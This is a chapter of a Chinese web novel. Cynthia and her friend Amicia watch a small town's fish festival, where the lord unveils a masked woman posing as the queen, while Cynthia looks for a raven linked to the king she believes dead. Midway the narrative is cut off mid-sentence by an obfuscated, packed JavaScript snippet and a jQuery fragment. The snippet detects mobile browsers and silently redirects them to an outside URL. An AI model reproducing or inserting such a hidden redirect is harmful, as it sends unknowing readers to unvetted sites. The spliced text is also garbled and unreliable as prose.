雪原河边高台外。
辛西娅带着兜帽,和阿米西亚混在人群里四下张望着。
雪原难得有这么热闹的时候,照这个架势来看,估摸今天大半个城镇的人都聚集在这了。
她们跟着人群慢慢向河岸边挪动,节日里大家都穿上了自己最隆重的衣服,辛西娅感觉自己像是扎进了皮革和棉花堆里,又吵闹又不透气,阿米西亚已经忍不住在找逃出人群回去的路了,她再次向辛西娅确认并抱怨道,“这个庆典我们真的非参加不可吗?”
“没错,非参加不可。”辛西娅也再次肯定的回答。
小城主为开鱼节做了不少准备,还没有完全化开的河中央果然稳稳停着一艘赛黑桦建造而成的老式开冰船,涂抹鱼油的船体表面正在阳光下反射湿润的光,船头用来破冰的铁刃已经命人高高悬起拴在木桩上固定好,只等一会儿钟声敲响三下,就一刀砍断麻绳朝冰面狠凿下去,到那时,为期三天的开鱼节将正式开始,没人能拒绝节日里供人狂欢的免费啤酒和花环,但她们不是为这个而来的。
辛西娅握紧口袋里的羽毛,羽管被指甲掐出许多细细的褶痕,再多一道恐怕就会折断,她尽量克制自己的手,也努力不去想羽毛的主人。
那是一只羽翼舒展,通体乌黑,却又在铺满阳光的窗台下泛着斑斓辉光,目光凛凛的渡鸦。
人们已经许久没有把这种鸟和国王联系在一起了。有多久了?
三年前,辛西娅确信匕首扎进了利柏的胸膛,那时他的血顺着手指流下,沾的袖口手臂到处都是,而下落的速度又那么快,她有没有时间问他知不知道自己在做什么?他是疯了吗!
明明是他亲口说,“时钟可以杀死国王。”
他知道那柄匕首是拿什么做的!
该死的利柏,他什么都不解释,也没给辛西娅留下反悔的机会,记忆里最后看到的是利柏握着她的手逐渐破碎,漫天鸦羽兜头罩下把本来就包在冕袍里的她遮的严严实实。
没有道别,也没有否认这是他开的又一个恶劣玩笑,自那之后,被火弹轰出缺口的荆棘重新堆满小道入口,王国的天空上不再有渡鸦盘旋。
都这么久了……
都这么久了她还是擒不住一只鸟!谁能相信这种事再再再一次发生在了她身上!
“这么好的天气找个雪化了的山谷晒晒太阳不知道会有多舒服,无论如何一定好过在这里被挤成人条,你说对不对,这位小姐?”
阿米西亚比了个非常勉强的笑容给她,艰难地在人挤人中找了块儿无人踏足的死角,拉着辛西娅蹭了过去,终于能喘口气,“时钟在上,不管你要找那只鸟做什么,能不能找到,都得记得,你欠我一个能好好休息躺着不动的上午!”
辛西娅:“我给你加满,欠你一整天。快别说有的没的了,你那有块儿石头站上去视野好,看看河边还有没有位置,怎么感觉人群走不动了。”
阿米西亚遮住头顶太阳踮脚远眺,不乐观地啧道,“完全没有。”
通往河边的路尽头被士兵把持着,人群在栏杆外渐渐呈扇形摊开,每个有可能塞进人的地方都已经被抢占,栏杆内,小城主的人手小跑着确认最后的准备工作,而他本人正懒散地躺靠在临时搭建好的双层高台上,仆从急匆匆跑到他身边说了些什么,被他不耐烦地挥手赶走。
“你说,他之前向镇民们放出话说你一定会参加这次庆典,要是大家发现消息是假的,会不会把他扔到河里去。”阿米西亚露出期待的笑容,双手合十放在身前祈祷,“如果真有这种好事发生,我保证,接下来的一整年每天都会做好事,时钟啊,请千万千万别让我错过!”
“我也是!”辛西娅笑了笑,虽然知道不可能,但她并不想扫阿米西亚的兴。更何况,太阳下有什么事是绝对不可能发生的呢?
“我们就在这等吧,不往前走了。”辛西娅提议。
阿米西亚:“我倒是没什么,但你确定不用再靠近一点了?如果渡鸦真的再次出现,这个距离能看清楚吗?”
“没问题,我一眼就能看到。”
“我真搞不明白,既然你肯定国王已经死了,为什么又执着地寻找渡鸦?”阿米西亚用只有她们俩能听到的声音小声说,“或许那天我们见到的只是一只普通的鸟,什么都说明不了,你已经离开王座山了,为什么不能忘掉那一个月。”
她前一个问题辛西娅还能回答,“普通的鸟不会露出那种像人一样的表情。”
而后一个,她自己也不知道答案。
阿米西亚跳下石头,“我早就想说,你从王座山回来就变得有些不一样了,你会不会真的……”
“诸位!诸位!所有热烈的目光都请看向我这里!”一声清亮的钟鸣把所有人的视线拉向河边高台,阿米西亚把剩下半截话吞回去,和辛西娅一起随人群向声音来源望去。
结实的高台上,说话的是小城主的仆从,正眉飞色舞地向大家介绍这次庆典的伟大之处,以及成就这场伟大的城主大人。
而站在他身边的小城主,浑身上下没有一处不裹在油亮的精致毛皮中,头上戴着顶滑稽夸张的尖头帽,不知道哪个城镇来的帽子商人,花言巧语卖给他了顶这么惹眼的帽子,两个高耸的尖像牛角一样分立两边,帽子的主人为自己的品味颇感到骄傲,在高台上来回晃悠向大家展示,辛西娅看不到前排人的表情,但估计不会太好看。
她认出发言的那个仆从就是在婉达家见过的那位管事人,在他的一番演说下,镇民的情绪一波波高涨,管事人朝后一挥手,“在开鱼节正式开启前,我们还有个好到不能再好的消息没有公布!”
“大家已经知道啦!”底下不整齐的声音喊着。
“我们还有一位同样重要的人没有请出来!”管事人卖着关子。
“快让我们见见她!”
“王后陛下!请她出来!”
“大家的声音她已经听到了,那么现在,我以城主大人的名义郑重请求……”
“行了,喊个人出来需要废这么多话吗。”小城主满脸不悦地将管事人推的朝后踉跄两步,朝高台被掩映的阴影处拍了拍手,喧闹的人群一下子冷了下来,管事人背对着众人擦了擦头上不存在的汗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17220008|187421||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,辛西娅跟阿米西亚则满头问号。
如果她不在高台上的话,那小城主邀请到的人是谁?
他找了个人冒充辛西娅,这就是他的计划?
草率敷衍,但是很奏效。辛西娅扯紧兜帽环顾周围的人,忽略掉刚才的不愉快,大家脸上更多的还是期待。
来参加开鱼节的人有男有女,有参加过攻城战的人也有普通人,这里面见过她的人少之又少,就算真的有,小城主应该也有办法在发现的第一时间处理掉他们,王后这个头衔,放在谁头上都可以。
阿米西亚:“拆穿他们,谁知道城主那帮人会用你的名义做什么奇怪的事。”
“嗯,是得叫停。”辛西娅抱起胳膊点点头,目光越过河面延伸向远处影影绰绰的山峰,说,“不过不是现在,不急,先看看。”
等待的间隙,假王后已经被请上了高台,台下一阵举手高呼,假王后身着仿制的冕袍向众人挥手致意,抛开衣饰粗糙的质感不谈,戴上面具的假王后和辛西娅身形近乎一致,连阿米西亚都忍不住感叹。
“小城主这是打算让她长期扮演你?竟然找了个这么像的,尤其是嘴巴,上扬的弧度都跟你一模一样!要是真让你们俩站一起的话,我恐怕也得花点时间才能分清。”
谁说不是呢。连阿米西亚都这么说,底下的人就更不可能认出来了。
有几个人逆着人流往回走,辛西娅留意了下他们的动向,胳膊杵了杵阿米西亚,“是教会的人,应该是确认消息回去报信的,我们分头行动,解决教会的影子跟抓鸟,你选哪个。”
“我有的选吗。”阿米西亚白了她一眼,“我跟过去透透气,你这边等不到就算了,早点回来,别把自己憋死了。”
“好。”辛西娅答应道。
两人击掌后各自转向自己关注的方向,高台上的情况跟辛西娅想象的不太一样,她回神后观察了一下才反应过来,小城主好像又在做试探大家容忍底线的事。
按照她的理解,拉拢应该是结盟的意思吧。
教会渴望从民众信仰中汲取壮大的力量,城主则需要获得源源不断,越多越好的黄金财宝,在两方眼中,首先争取到她的加盟无异于获得时钟的力量与民众更广泛的支持,等同直接宣告胜利,但小城主好像不是这么想的。
他对那位假王后可真是不客气。
“城主大人,王后陛下还没落座,您还不能坐下。”众目睽睽之下,管事人顾不上对小城主恭敬,急地伸手抄到他胳膊底下就想把人拉起来。
这太不像话了,这么多人看着,他怎么敢就这么大摇大摆地叉着腿坐下了!没看到镇民们脸色都黑了吗!
假王后维持形象没有和他争执,管事人却不能放任他这么胡闹下去,小城主被拉扯的烦了,瞥了眼台下的人,满脸不耐烦,“吵死了,不就是椅子吗?给她拿一把!”
“不是这个意思,您要表现出尊敬……”管事人极小声耳语道。
“尊敬?!屑克,我还得怎么尊敬她!”小城主大腿拍的巨响,“我连敲钟下刃的仪式都让给她做了!还要怎么样!”